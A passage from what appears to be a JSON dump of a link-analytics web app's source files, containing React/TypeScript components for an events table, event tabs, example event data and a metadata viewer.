   \"continent\",\n      \"device\",\n      \"browser\",\n      \"os\",\n      \"referer\",\n      \"refererUrl\",\n      \"ip\",\n      \"clickId\",\n      \"eventId\",\n      \"metadata\",\n    ],\n    defaultVisible: [\n      \"timestamp\",\n      \"saleAmount\",\n      \"event\",\n      \"customer\",\n      \"referer\",\n      \"link\",\n    ],\n  },\n};\n\nexport type EventDatum = ClickEvent | LeadEvent | SaleEvent;\n\ntype ColumnMeta = {\n  filterParams?: (\n    args: Pick<Cell<EventDatum, any>, \"getValue\">,\n  ) => Record<string, any>;\n};\n\nexport default function EventsTable({\n  requiresUpgrade,\n  upgradeOverlay,\n}: {\n  requiresUpgrade?: boolean;\n  upgradeOverlay?: ReactNode;\n}) {\n  const { slug } = useWorkspace();\n  const { searchParams, queryParams } = useRouterStuff();\n  const { setExportQueryString } = useContext(EventsContext);\n  const {\n    selectedTab: tab,\n    queryString: originalQueryString,\n    eventsApiPath,\n    totalEvents,\n    partnerPage,\n  } = useContext(AnalyticsContext);\n\n  const { programSlug } = useParams<{ programSlug: string }>();\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"events-table-columns\",\n    eventColumns,\n  );\n\n  const [persisted] = useWorkspacePreferences(\"linksDisplay\");\n\n  const shortLinkTitle = useCallback(\n    (d: { url?: string; title?: string; shortLink?: string }) => {\n      const displayProperties = persisted?.displayProperties;\n\n      if (displayProperties?.includes(\"title\") && d.title) {\n        return d.title;\n      }\n\n      return d.shortLink || \"Unknown\";\n    },\n    [persisted],\n  );\n\n  const sortBy = searchParams.get(\"sortBy\") || \"timestamp\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const columns = useMemo<ColumnDef<EventDatum, any>[]>(\n    () =>\n      [\n        // Date\n        {\n          id: \"timestamp\",\n          header: \"Date\",\n          accessorFn: (d: { timestamp: string }) => new Date(d.timestamp),\n          enableHiding: false,\n          size: 160,\n          cell: ({ getValue }) => (\n            <TimestampTooltip\n              timestamp={getValue()}\n              side=\"right\"\n              rows={[\"local\", \"utc\", \"unix\"]}\n            >\n              <span className=\"select-none truncate\">\n                {formatDateTimeSmart(getValue())}\n              </span>\n            </TimestampTooltip>\n          ),\n        },\n        // Sale amount\n        {\n          id: \"saleAmount\",\n          header: \"Amount\",\n          accessorKey: \"sale.amount\",\n          size: 160,\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-2\">\n              <span>\n                {currencyFormatter(getValue(), {\n                  trailingZeroDisplay: \"stripIfInteger\",\n                })}\n              </span>\n              <span className=\"text-neutral-400\">USD</span>\n            </div>\n          ),\n        },\n        // Click trigger\n        {\n          id: \"trigger\",\n          header: \"Trigger\",\n          accessorKey: \"click.trigger\",\n          minSize: 150,\n          size: 150,\n          maxSize: 150,\n          meta: {\n            filterParams: ({ getValue }) => ({\n              trigger: getValue() ?? \"link\",\n            }),\n          },\n          cell: ({ getValue }) => {\n            const { title, icon: Icon } = TRIGGER_DISPLAY[getValue() ?? \"link\"];\n            return (\n              <div className=\"flex items-center gap-3\">\n                <Icon className=\"size-4 shrink-0\" />\n                <span className=\"truncate\" title={title}>\n                  {title}\n                </span>\n              </div>\n            );\n          },\n        },\n        // Lead/sale event name\n        {\n          id: \"event\",\n          header: \"Event\",\n          accessorKey: \"eventName\",\n          cell: ({ getValue }) =>\n            getValue() ? (\n              <span className=\"truncate\" title={getValue()}>\n                {getValue()}\n              </span>\n            ) : (\n              <span className=\"text-neutral-400\">-</span>\n            ),\n        },\n        {\n          id: \"customer\",\n          header: \"Customer\",\n          accessorKey: \"customer\",\n          minSize: 300,\n          size: 300,\n          maxSize: 400,\n          meta: {\n            filterParams: ({ getValue }) => ({ customerId: getValue().id }),\n          },\n          cell: ({ getValue }) => (\n            <CustomerRowItem\n              customer={getValue()}\n              href={\n                partnerPage\n                  ? `/programs/${programSlug}/customers/${getValue().id}`\n                  : `/${slug}/customers/${getValue().id}`\n              }\n              className=\"px-4 py-2.5\"\n            />\n          ),\n        },\n        {\n          id: \"customerName\",\n          header: \"Customer Name\",\n          accessorKey: \"customer.name\",\n          minSize: 300,\n          size: 300,\n          maxSize: 300,\n          cell: ({ getValue }) =>\n            getValue() ? (\n              <span className=\"truncate\" title={getValue()}>\n                {getValue()}\n              </span>\n            ) : (\n              <span className=\"text-neutral-400\">-</span>\n            ),\n        },\n        ...(partnerPage\n          ? []\n          : [\n              {\n                id: \"customerExternalId\",\n                header: \"Customer External ID\",\n                accessorKey: \"customer.externalId\",\n                minSize: 300,\n                size: 300,\n                maxSize: 300,\n                cell: ({ getValue }) =>\n                  getValue() ? (\n                    <CopyText\n                      value={getValue()}\n                      successMessage=\"Copied customer external ID to clipboard!\"\n                    >\n                      <span className=\"truncate font-mono\" title={getValue()}>\n                        {getValue()}\n                      </span>\n                    </CopyText>\n                  ) : (\n                    <span className=\"text-neutral-400\">-</span>\n                  ),\n              },\n            ]),\n        {\n          id: \"link\",\n          header: \"Link\",\n          accessorKey: \"link\",\n          minSize: 250,\n          size: 250,\n          maxSize: 400,\n          meta: {\n            filterParams: ({ getValue }) => ({ linkId: getValue().id }),\n          },\n          cell: ({ getValue }) => {\n            const content = (\n              <div\n                className={cn(\n                  \"flex items-center gap-3\",\n                  !partnerPage &&\n                    \"cursor-alias decoration-dotted hover:underline\",\n                )}\n              >\n                <LinkLogo\n                  apexDomain={getApexDomain(getValue().url)}\n                  className=\"size-4 shrink-0 sm:size-4\"\n                />\n                <span className=\"truncate\" title={shortLinkTitle(getValue())}>\n                  {getPrettyUrl(shortLinkTitle(getValue()))}\n                </span>\n              </div>\n            );\n\n            return partnerPage ? (\n              content\n            ) : (\n              <Link\n                href={`/${slug}/links/${getValue().domain}/${getValue().key}`}\n                target=\"_blank\"\n              >\n                {content}\n              </Link>\n            );\n          },\n        },\n        {\n          id: \"url\",\n          header: \"Destination URL\",\n          accessorKey: \"click.url\",\n          minSize: 250,\n          size: 250,\n          meta: {\n            filterParams: ({ getValue }) => ({ url: getValue() }),\n          },\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-3\">\n              <LinkLogo\n                apexDomain={getApexDomain(getValue())}\n                className=\"size-4 shrink-0 sm:size-4\"\n              />\n              <CopyText\n                value={getValue()}\n                successMessage=\"Copied referrer URL to clipboard!\"\n              >\n                <span className=\"overflow-scroll\" title={getValue()}>\n                  {getPrettyUrl(getValue())}\n                </span>\n              </CopyText>\n            </div>\n          ),\n        },\n        {\n          id: \"referer\",\n          header: \"Referrer\",\n          accessorKey: \"click.referer\",\n          meta: {\n            filterParams: ({ getValue }) => ({ referer: getValue() }),\n          },\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-3\">\n              {getValue() === \"(direct)\" ? (\n                <Link2 className=\"h-4 w-4\" />\n              ) : (\n                <LinkLogo\n                  apexDomain={getValue()}\n                  className=\"size-4 shrink-0 sm:size-4\"\n                />\n              )}\n              <CopyText\n                value={getValue()}\n                successMessage=\"Copied referrer to clipboard!\"\n              >\n                <span className=\"truncate\">{getValue()}</span>\n              </CopyText>\n            </div>\n          ),\n        },\n        {\n          id: \"refererUrl\",\n          header: \"Referrer URL\",\n          accessorKey: \"click.refererUrl\",\n          meta: {\n            filterParams: ({ getValue }) => ({ refererUrl: getValue() }),\n          },\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-3\">\n              {getValue() === \"(direct)\" ? (\n                <Link2 className=\"h-4 w-4\" />\n              ) : (\n                <LinkLogo\n                  apexDomain={getApexDomain(getValue())}\n                  className=\"size-4 shrink-0 sm:size-4\"\n                />\n              )}\n              <CopyText\n                value={getValue()}\n                successMessage=\"Copied referrer URL to clipboard!\"\n              >\n                <span className=\"truncate\" title={getValue()}>\n                  {getPrettyUrl(getValue())}\n                </span>\n              </CopyText>\n            </div>\n          ),\n        },\n        {\n          id: \"country\",\n          header: \"Country\",\n          accessorKey: \"click.country\",\n          meta: {\n            filterParams: ({ getValue }) => ({ country: getValue() }),\n          },\n          cell: ({ getValue }) => (\n            <div\n              className=\"flex items-center gap-3\"\n              title={COUNTRIES[getValue()] ?? getValue()}\n            >\n              {getValue() === \"Unknown\" ? (\n                <Globe className=\"size-4 shrink-0\" />\n              ) : (\n                <img\n                  alt={getValue()}\n                  src={`https://hatscripts.github.io/circle-flags/flags/${getValue().toLowerCase()}.svg`}\n                  className=\"size-4 shrink-0\"\n                />\n              )}\n              <span className=\"truncate\">\n                {COUNTRIES[getValue()] ?? getValue()}\n              </span>\n            </div>\n          ),\n        },\n        {\n          id: \"city\",\n          header: \"City\",\n          accessorKey: \"click.city\",\n          minSize: 160,\n          meta: {\n            filterParams: ({ getValue }) => ({ city: getValue() }),\n          },\n          cell: ({ getValue, row }) => {\n            const country = row.original.click?.country;\n            return (\n              <div className=\"flex items-center gap-3\" title={getValue()}>\n                {!country || country === \"Unknown\" ? (\n                  <Globe className=\"size-4 shrink-0\" />\n                ) : (\n                  <img\n                    alt={country}\n                    src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                    className=\"size-4 shrink-0\"\n                  />\n                )}\n                <span className=\"truncate\">{getValue()}</span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"region\",\n          header: \"Region\",\n          accessorKey: \"click.region\",\n          minSize: 160,\n          meta: {\n            filterParams: ({ getValue }) => ({ region: getValue() }),\n          },\n          cell: ({ getValue, row }) => {\n            const country = row.original.click?.country;\n            return (\n              <div className=\"flex items-center gap-3\" title={getValue()}>\n                {!country || country === \"Unknown\" ? (\n                  <Globe className=\"size-4 shrink-0\" />\n                ) : (\n                  <img\n                    alt={country}\n                    src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                    className=\"size-4 shrink-0\"\n                  />\n                )}\n                <span className=\"truncate\">\n                  {REGIONS[getValue()] || getValue().split(\"-\")[1]}\n                </span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"continent\",\n          header: \"Continent\",\n          accessorKey: \"click.continent\",\n          meta: {\n            filterParams: ({ getValue }) => ({ continent: getValue() }),\n          },\n          cell: ({ getValue }) => (\n            <div\n              className=\"flex items-center gap-3\"\n              title={CONTINENTS[getValue()] ?? \"Unknown\"}\n            >\n              <ContinentIcon display={getValue()} className=\"size-4 shrink-0\" />\n              <span className=\"truncate\">\n                {CONTINENTS[getValue()] ?? \"Unknown\"}\n              </span>\n            </div>\n          ),\n        },\n        {\n          id: \"device\",\n          header: \"Device\",\n          accessorKey: \"click.device\",\n          meta: {\n            filterParams: ({ getValue }) => ({ device: getValue() }),\n          },\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-3\" title={getValue()}>\n              <DeviceIcon\n                display={capitalize(getValue()) ?? getValue()}\n                tab=\"devices\"\n                className=\"size-4 shrink-0\"\n              />\n              <span className=\"truncate\">{getValue()}</span>\n            </div>\n          ),\n        },\n        {\n          id: \"browser\",\n          header: \"Browser\",\n          accessorKey: \"click.browser\",\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-3\" title={getValue()}>\n              <DeviceIcon\n                display={capitalize(getValue()) ?? getValue()}\n                tab=\"browsers\"\n                className=\"size-4 shrink-0 rounded-full\"\n              />\n              <span className=\"truncate\">{getValue()}</span>\n            </div>\n          ),\n        },\n        {\n          id: \"os\",\n          header: \"OS\",\n          accessorKey: \"click.os\",\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-3\" title={getValue()}>\n              <DeviceIcon\n                display={capitalize(getValue()) ?? getValue()}\n                tab=\"os\"\n                className=\"size-4 shrink-0\"\n              />\n              <span className=\"truncate\">{getValue()}</span>\n            </div>\n          ),\n        },\n        ...(partnerPage\n          ? []\n          : [\n              {\n                id: \"ip\",\n                header: \"IP Address\",\n                accessorKey: \"click.ip\",\n                cell: ({ getValue }) =>\n                  getValue() ? (\n                    <span className=\"truncate\" title={getValue()}>\n                      {getValue()}\n                    </span>\n                  ) : (\n                    <Tooltip content=\"We do not record IP addresses for EU users.\">\n                      <span className=\"cursor-default truncate underline decoration-dotted\">\n                        Unknown\n                      </span>\n                    </Tooltip>\n                  ),\n              },\n              // Sale invoice ID\n              {\n                id: \"invoiceId\",\n                header: \"Invoice ID\",\n                accessorKey: \"sale.invoiceId\",\n                minSize: 200,\n                cell: ({ getValue }) =>\n                  getValue() ? (\n                    <CopyText\n                      value={getValue()}\n                      successMessage=\"Copied invoice ID to clipboard!\"\n                    >\n                      <span className=\"truncate font-mono\" title={getValue()}>\n                        {getValue()}\n                      </span>\n                    </CopyText>\n                  ) : (\n                    <span className=\"text-neutral-400\">-</span>\n                  ),\n              },\n              // Click ID\n              {\n                id: \"clickId\",\n                header: \"Click ID\",\n                accessorKey: \"click.id\",\n                maxSize: 200,\n                cell: ({ getValue }) =>\n                  getValue() ? (\n                    <CopyText\n                      value={getValue()}\n                      successMessage=\"Copied click ID to clipboard!\"\n                    >\n                      <span className=\"truncate font-mono\" title={getValue()}>\n                        {getValue()}\n                      </span>\n                    </CopyText>\n                  ) : (\n                    <span className=\"text-neutral-400\">-</span>\n                  ),\n              },\n              // Event ID\n              {\n                id: \"eventId\",\n                header: \"Event ID\",\n                accessorKey: \"eventId\",\n                maxSize: 200,\n                cell: ({ getValue }) =>\n                  getValue() ? (\n                    <CopyText\n                      value={getValue()}\n                      successMessage=\"Copied event ID to clipboard!\"\n                    >\n                      <span className=\"truncate font-mono\" title={getValue()}>\n                        {getValue()}\n                      </span>\n                    </CopyText>\n                  ) : (\n                    <span className=\"text-neutral-400\">-</span>\n                  ),\n              },\n              // Metadata\n              {\n                id: \"metadata\",\n                header: \"Metadata\",\n                accessorKey: \"metadata\",\n                minSize: 120,\n                size: 120,\n                maxSize: 120,\n                cell: ({ getValue }) => {\n                  const metadata = getValue();\n                  if (!metadata || Object.keys(metadata).length === 0) {\n                    return <span className=\"text-neutral-400\">-</span>;\n                  }\n                  return (\n                    <MetadataViewer metadata={metadata} previewItems={0} />\n                  );\n                },\n              },\n            ]),\n        // Menu\n        {\n          id: \"menu\",\n          enableHiding: false,\n          header: ({ table }) => <EditColumnsButton table={table} />,\n          cell: ({ row }) => <RowMenuButton row={row} />,\n        },\n      ]\n        .filter((c) => c.id === \"menu\" || eventColumns[tab].all.includes(c.id))\n        .map((col) => ({\n          ...col,\n          enableResizing: true,\n          size: col.size || Math.max(200, col.minSize || 100),\n          minSize: col.minSize || 100,\n          maxSize: col.maxSize || 1000,\n        })),\n    [tab, partnerPage],\n  );\n\n  const { pagination, setPagination } = usePagination();\n\n  const queryString = useMemo(\n    () =>\n      editQueryString(originalQueryString, {\n        event: tab,\n        page: pagination.pageIndex.toString(),\n        sortBy,\n        sortOrder,\n      }).toString(),\n    [originalQueryString, tab, pagination, sortBy, sortOrder],\n  );\n\n  // Update export query string\n  useEffect(\n    () =>\n      setExportQueryString?.(\n        editQueryString(\n          queryString,\n          {\n            columns: Object.entries(columnVisibility[tab])\n              .filter(([, visible]) => visible)\n              .map(([id]) => id)\n              .join(\",\"),\n          },\n          [\"page\"],\n        ),\n      ),\n    [setExportQueryString, queryString, columnVisibility, tab],\n  );\n\n  const { data, isLoading, error } = useSWR<EventDatum[]>(\n    !requiresUpgrade && `${eventsApiPath || \"/api/events\"}?${queryString}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n  const { table, ...tableProps } = useTable({\n    data: (data ??\n      (requiresUpgrade ? EXAMPLE_EVENTS_DATA[tab] : [])) as EventDatum[],\n    loading: isLoading,\n    error: error && !requiresUpgrade ? \"Failed to fetch events.\" : undefined,\n    columns,\n    enableColumnResizing: true,\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: requiresUpgrade ? 0 : totalEvents?.[tab] ?? 0,\n    columnVisibility: columnVisibility[tab],\n    onColumnVisibilityChange: (args) => setColumnVisibility(tab, args),\n    sortableColumns: [\"timestamp\"],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n      }),\n    columnPinning: { right: [\"menu\"] },\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as ColumnMeta | undefined;\n      return (\n        meta?.filterParams && (\n          <FilterButtonTableRow\n            set={meta.filterParams(cell)}\n            className=\"bg-[linear-gradient(to_right,transparent,white_10%)]\"\n          />\n        )\n      );\n    },\n    tdClassName: (columnId) => (columnId === \"customer\" ? \"p-0\" : \"\"),\n    emptyState: (\n      <EmptyState\n        icon={Magnifier}\n        title=\"No events recorded\"\n        description={`Events will appear here when your links ${tab === \"clicks\" ? \"are clicked on\" : `convert to ${tab}`}`}\n      />\n    ),\n    resourceName: (plural) => `event${plural ? \"s\" : \"\"}`,\n  });\n\n  return (\n    <>\n      <Table\n        {...tableProps}\n        table={table}\n        scrollWrapperClassName={\n          requiresUpgrade ? \"overflow-x-hidden\" : undefined\n        }\n      >\n        {requiresUpgrade && (\n          <>\n            <div className=\"absolute inset-0 flex touch-pan-y items-center justify-center bg-gradient-to-t from-[#fff_70%] to-[#fff6]\">\n              {upgradeOverlay}\n            </div>\n            <div className=\"h-[400px]\" />\n          </>\n        )}\n      </Table>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/events/events-tabs.tsx",
    "content": "import { editQueryString } from \"@/lib/analytics/utils\";\nimport { MiniAreaChart, useMediaQuery, useRouterStuff } from \"@dub/ui\";\nimport { capitalize, cn, fetcher } from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { useCallback, useContext, useEffect } from \"react\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { AnalyticsContext } from \"../analytics-provider\";\n\ntype TimeseriesData = {\n  start: Date;\n  clicks: number;\n  leads: number;\n  sales: number;\n  saleAmount: number;\n}[];\n\nexport default function EventsTabs() {\n  const { searchParams, queryParams } = useRouterStuff();\n  const { isMobile } = useMediaQuery();\n\n  const tab = searchParams.get(\"event\") || \"clicks\";\n\n  const {\n    baseApiPath,\n    queryString,\n    requiresUpgrade,\n    totalEvents,\n    totalEventsLoading,\n    fetchCompositeStats,\n  } = useContext(AnalyticsContext);\n\n  const { data: timeseriesData, isLoading: isLoadingTimeseries } =\n    useSWRImmutable<TimeseriesData>(\n      `${baseApiPath}?${editQueryString(queryString, {\n        groupBy: \"timeseries\",\n        event: fetchCompositeStats ? \"composite\" : \"clicks\",\n      })}`,\n      fetcher,\n      {\n        shouldRetryOnError: !requiresUpgrade,\n        keepPreviousData: true,\n      },\n    );\n\n  const onEventTabClick = useCallback(\n    (event: string) => {\n      const sortOptions =\n        event === \"sales\" ? [\"timestamp\", \"saleAmount\"] : [\"date\"];\n      const currentSort = searchParams.get(\"sort\");\n      queryParams({\n        set: { event },\n        del: [\n          // Reset pagination\n          \"page\",\n          // Reset sort if not possible\n          ...(currentSort && !sortOptions.includes(currentSort)\n            ? [\"sort\"]\n            : []),\n        ],\n      });\n    },\n    [queryParams, searchParams.get(\"sort\")],\n  );\n\n  useEffect(() => {\n    const sortBy = searchParams.get(\"sort\");\n    if (tab !== \"sales\" && sortBy !== \"timestamp\") queryParams({ del: \"sort\" });\n  }, [tab, searchParams.get(\"sort\")]);\n\n  return (\n    <div className=\"grid w-full grid-cols-3 gap-2 overflow-x-auto sm:gap-4\">\n      {[\"clicks\", \"leads\", \"sales\"].map((event) => (\n        <button\n          key={event}\n          className={cn(\n            \"flex justify-between gap-4 rounded-xl border bg-white px-5 py-4 text-left transition-[box-shadow] focus:outline-none\",\n            tab === event\n              ? \"border-black shadow-[0_0_0_1px_black_inset]\"\n              : \"border-neutral-200 focus-visible:border-black\",\n          )}\n          onClick={() => onEventTabClick(event)}\n        >\n          <div>\n            <p className=\"text-sm text-neutral-600\">{capitalize(event)}</p>\n            <div className=\"mt-2\">\n              {totalEvents ? (\n                <NumberFlow\n                  value={\n                    event === \"sales\"\n                      ? totalEvents?.saleAmount / 100\n                      : totalEvents?.[event]\n                  }\n                  className={cn(\n                    \"text-2xl transition-opacity\",\n                    totalEventsLoading && \"opacity-40\",\n                  )}\n                  format={\n                    event === \"sales\"\n                      ? {\n                          style: \"currency\",\n                          currency: \"USD\",\n                          // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                          trailingZeroDisplay: \"stripIfInteger\",\n                        }\n                      : {\n                          notation:\n                            totalEvents?.[event] > 999999\n                              ? \"compact\"\n                              : \"standard\",\n                        }\n                  }\n                />\n              ) : (\n                <div className=\"h-8 w-12 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </div>\n          </div>\n          {timeseriesData && !isMobile && (\n            <div\n              className={cn(\n                \"relative h-full max-w-[140px] grow transition-opacity\",\n                isLoadingTimeseries && \"opacity-40\",\n              )}\n            >\n              <MiniAreaChart\n                data={\n                  timeseriesData?.map((d) => ({\n                    date: new Date(d.start),\n                    value:\n                      ((event === \"sales\" ? d?.saleAmount : d?.[event]) as\n                        | number\n                        | undefined) ?? 0,\n                  })) || []\n                }\n              />\n            </div>\n          )}\n        </button>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/events/example-data.ts",
    "content": "const common = {\n  ip: \"0.0.0.0\",\n  referer: \"(direct)\",\n  qr: 0,\n  device: \"Desktop\",\n  browser: \"Chrome\",\n  os: \"Mac OS\",\n};\n\nconst dubLink = {\n  id: \"1\",\n  domain: \"dub.link\",\n  key: \"uxUrVCz\",\n  shortLink: \"https://dub.co/uxUrVCz\",\n  url: \"https://dub.co/\",\n};\n\nconst githubLink = {\n  id: \"3\",\n  domain: \"git.new\",\n  key: \"9XyzIho\",\n  shortLink: \"https://git.new/9XyzIho\",\n  url: \"https://github.com/dubinc/dub\",\n};\n\nconst steven = {\n  name: \"Steven Tey\",\n  email: \"steven@dub.co\",\n  avatar: \"https://avatar.vercel.sh/s.png?text=S\",\n};\n\nconst tim = {\n  name: \"Tim Wilson\",\n  email: \"tim@dub.co\",\n  avatar: \"https://avatar.vercel.sh/t.png?text=T\",\n};\n\nconst kiran = {\n  name: \"Kiran Kuriya\",\n  email: \"kiran@dub.co\",\n  avatar: \"https://avatar.vercel.sh/k.png?text=K\",\n};\n\nexport const EXAMPLE_EVENTS_DATA = {\n  clicks: [\n    {\n      event: \"click\",\n      timestamp: new Date().toISOString(),\n      click: {\n        id: \"1\",\n        country: \"US\",\n        city: \"San Francisco\",\n        region: \"US-CA\",\n        continent: \"NA\",\n        ...common,\n      },\n      link: dubLink,\n    },\n    {\n      event: \"click\",\n      timestamp: new Date(Date.now() - 3 * 60 * 1000).toISOString(),\n      click: {\n        id: \"2\",\n        country: \"US\",\n        city: \"New York\",\n        region: \"US-NY\",\n        continent: \"NA\",\n        ...common,\n      },\n      link: dubLink,\n    },\n    {\n      event: \"click\",\n      timestamp: new Date(Date.now() - 7 * 60 * 1000).toISOString(),\n      click: {\n        id: \"3\",\n        country: \"US\",\n        city: \"Pittsburgh\",\n        region: \"US-PA\",\n        continent: \"NA\",\n        ...common,\n      },\n      link: githubLink,\n    },\n  ],\n  leads: [\n    {\n      event: \"lead\",\n      timestamp: new Date().toISOString(),\n      eventId: \"YbL8RwLTRRCxQz5H\",\n      eventName: \"Sign up\",\n      click: {\n        id: \"1\",\n        country: \"US\",\n        city: \"San Francisco\",\n        region: \"US-CA\",\n        continent: \"NA\",\n        ...common,\n      },\n      link: dubLink,\n      customer: steven,\n    },\n    {\n      event: \"lead\",\n      timestamp: new Date(Date.now() - 3 * 60 * 1000).toISOString(),\n      eventId: \"YbL8RwLTRRCxQz5H\",\n      eventName: \"Sign up\",\n      click: {\n        id: \"1\",\n        country: \"IN\",\n        city: \"Kerala\",\n        region: \"IN-KL\",\n        continent: \"AS\",\n        ...common,\n      },\n      link: dubLink,\n      customer: kiran,\n    },\n    {\n      event: \"lead\",\n      timestamp: new Date(Date.now() - 7 * 60 * 1000).toISOString(),\n      eventId: \"YbL8RwLTRRCxQz5H\",\n      eventName: \"Sign up\",\n      click: {\n        id: \"3\",\n        country: \"US\",\n        city: \"Pittsburgh\",\n        region: \"US-PA\",\n        continent: \"NA\",\n        ...common,\n      },\n      link: githubLink,\n      customer: tim,\n    },\n  ],\n  sales: [\n    {\n      event: \"sale\",\n      timestamp: new Date().toISOString(),\n      eventId: \"Nffk2cwShKu5lQ7E\",\n      eventName: \"Purchase\",\n      sale: {\n        amount: 49_90,\n        paymentProcessor: \"stripe\",\n        invoiceId: \"123456\",\n      },\n      click: {\n        id: \"1\",\n        country: \"US\",\n        city: \"San Francisco\",\n        region: \"US-CA\",\n        continent: \"NA\",\n        ...common,\n      },\n      link: dubLink,\n      customer: steven,\n    },\n    {\n      event: \"sale\",\n      timestamp: new Date(Date.now() - 3 * 60 * 1000).toISOString(),\n      eventId: \"Nffk2cwShKu5lQ7E\",\n      eventName: \"Purchase\",\n      sale: {\n        amount: 79_90,\n        paymentProcessor: \"stripe\",\n        invoiceId: \"123456\",\n      },\n      click: {\n        id: \"2\",\n        country: \"US\",\n        city: \"Pittsburgh\",\n        region: \"US-PA\",\n        continent: \"NA\",\n        ...common,\n      },\n      link: dubLink,\n      customer: tim,\n    },\n    {\n      event: \"sale\",\n      timestamp: new Date(Date.now() - 7 * 60 * 1000).toISOString(),\n      eventId: \"Nffk2cwShKu5lQ7E\",\n      eventName: \"Purchase\",\n      sale: {\n        amount: 99_90,\n        paymentProcessor: \"stripe\",\n        invoiceId: \"123456\",\n      },\n      click: {\n        id: \"3\",\n        country: \"IN\",\n        city: \"Kerala\",\n        region: \"IN-KL\",\n        continent: \"AS\",\n        ...common,\n      },\n      link: dubLink,\n      customer: kiran,\n    },\n  ],\n};\n"
  },
  {
    "path": "apps/web/ui/analytics/events/index.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { Menu3 } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { useContext } from \"react\";\nimport AnalyticsProvider, { AnalyticsContext } from \"../analytics-provider\";\nimport { AnalyticsToggle } from \"../toggle\";\nimport EventsTable from \"./events-table\";\nimport EventsTabs from \"./events-tabs\";\n\nexport default function AnalyticsEvents({\n  staticDomain,\n  staticUrl,\n  adminPage,\n}: {\n  staticDomain?: string;\n  staticUrl?: string;\n  adminPage?: boolean;\n}) {\n  return (\n    <AnalyticsProvider {...{ staticDomain, staticUrl, adminPage }}>\n      <div className=\"pb-10\">\n        <AnalyticsToggle page=\"events\" />\n        <AnalyticsContext.Consumer>\n          {({ dashboardProps }) => (\n            <div\n              className={cn(\n                \"mx-auto flex max-w-screen-xl flex-col gap-3 px-3 lg:px-10\",\n                // TODO: [PageContent] Remove once all pages are migrated to the new PageContent\n                !dashboardProps && !adminPage && \"lg:px-6\",\n              )}\n            >\n              <EventsTabs />\n              <EventsTableContainer />\n            </div>\n          )}\n        </AnalyticsContext.Consumer>\n      </div>\n    </AnalyticsProvider>\n  );\n}\n\nfunction EventsTableContainer() {\n  const { selectedTab } = useContext(AnalyticsContext);\n  const { plan, slug } = useWorkspace();\n\n  const requiresUpgrade = plan === \"free\" || plan === \"pro\";\n\n  return (\n    <EventsTable\n      key={selectedTab}\n      requiresUpgrade={requiresUpgrade}\n      upgradeOverlay={\n        <EmptyState\n          icon={Menu3}\n          title=\"Real-time Events Stream\"\n          description={`Want more data on your link ${selectedTab === \"clicks\" ? \"clicks & QR code scans\" : selectedTab}? Upgrade to our Business Plan to get a detailed, real-time stream of events in your workspace.`}\n          learnMore=\"https://d.to/events\"\n          buttonText=\"Upgrade to Business\"\n          buttonLink={`/${slug}/upgrade`}\n        />\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/analytics/events/metadata-viewer.tsx",
    "content": "import { Button, Tooltip, useCopyToClipboard } from \"@dub/ui\";\nimport { cn, pluralize, truncate } from \"@dub/utils\";\nimport { Check, Copy } from \"lucide-react\";\nimport { Fragment } from \"react\";\n\n// Display the event metadata\nexport function MetadataViewer({\n  metadata,\n  previewItems = 2,\n}: {\n  metadata: Record<string, any>;\n  previewItems?: number;\n}) {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  const displayEntries = Object.entries(metadata)\n    .map(([key, value]) => {\n      if (typeof value === \"object\" && value !== null) {\n        // Only show nested properties if the parent object has exactly one property\n        if (Object.keys(metadata).length === 1) {\n          const nestedEntries = Object.entries(value).map(\n            ([nestedKey, nestedValue]) => {\n              const displayValue =\n                typeof nestedValue === \"object\" && nestedValue !== null\n                  ? truncate(JSON.stringify(nestedValue), 20)\n                  : truncate(String(nestedValue), 20);\n              return `${key}.${nestedKey}: ${displayValue}`;\n            },\n          );\n          // else show the parent object properties\n          return nestedEntries;\n        }\n        return [`${key}: ${truncate(JSON.stringify(value), 20)}`];\n      }\n      return [`${key}: ${truncate(String(value), 20)}`];\n    })\n    .flat();\n\n  const hasMoreItems = displayEntries.length > previewItems;\n  const visibleEntries = hasMoreItems\n    ? displayEntries.slice(0, previewItems)\n    : displayEntries;\n\n  return (\n    <div className=\"flex items-center gap-2 text-xs text-neutral-600\">\n      {visibleEntries.map((entry, i) => (\n        <Fragment key={i}>\n          <span className=\"rounded-md border border-neutral-200 bg-neutral-100 px-1.5 py-0.5\">\n            {entry}\n          </span>\n        </Fragment>\n      ))}\n\n      <Tooltip\n        content={\n          <div className=\"flex flex-col gap-4 overflow-hidden rounded-md border border-neutral-200 bg-white p-4\">\n            <div className=\"flex h-[200px] w-[280px] overflow-hidden rounded-md border border-neutral-200 bg-white sm:h-[300px] sm:w-[350px]\">\n              <div className=\"w-full overflow-auto\">\n                <pre className=\"p-2 text-xs text-neutral-600\">\n      